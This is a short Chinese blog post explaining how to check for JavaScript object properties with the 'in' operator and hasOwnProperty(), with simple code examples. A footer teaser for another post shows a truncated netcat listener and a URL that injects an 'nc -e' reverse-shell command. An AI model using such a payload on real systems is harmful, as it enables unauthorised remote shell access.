作者说明了两种确认 object 特定 property 是否存在的方式
in
operator:property name 是否 in object
var myObj = {
food: '燃面'
}
console.log('food' in myObj) // true
console.log('drink' in myObj) // false
作者提醒我们,由於 in operator 是以 property name 作为搜索,对 array 使用 in operator 时,要记得 array 的 property name 是其 index
var myArr = [2,4,6]
console.log(0 in myArr) // true
console.log(4 in myArr) // false
hasOwnProperty()
:为 object 内建的一个 prototype function,并不会完整搜寻到 prototype 层var myObj = {
food: '燃面'
}
console.log(myObj.hasOwnProperty('food')) // true
console.log(myObj.hasOwnProperty('drink')) // false
祝大家开开心心河河笑,如果上述理解有误希望能协助提点~感谢大家 ԅ(≖‿≖ԅ)
<<: 从 IT 技术面细说 Search Console 的 27 组数字 KPI (2.5) :平均排名的图解
前言 从这篇文章开始,我们要进入到 Obsidian 的操作了。在正式开始教学之前,我先快速简介 O...
自签凭证绑定 Docker版 当有需求要Mattermost绑定自签凭证时怎麽办?我们的Matter...
前言 $nc -lvnp 1337 http://shhhhh.com/?cmd=nc%20-e%2...
今天要教大家如何简易的下载痞客邦的图片 一般来说,痞客邦的图片是不能直接右键另存的 所以其实只要把整...
最近又从主管那边收到要做新的专案。 如果计画时间上线时间合理,不是十天没日没夜的工作,通常都会觉得这...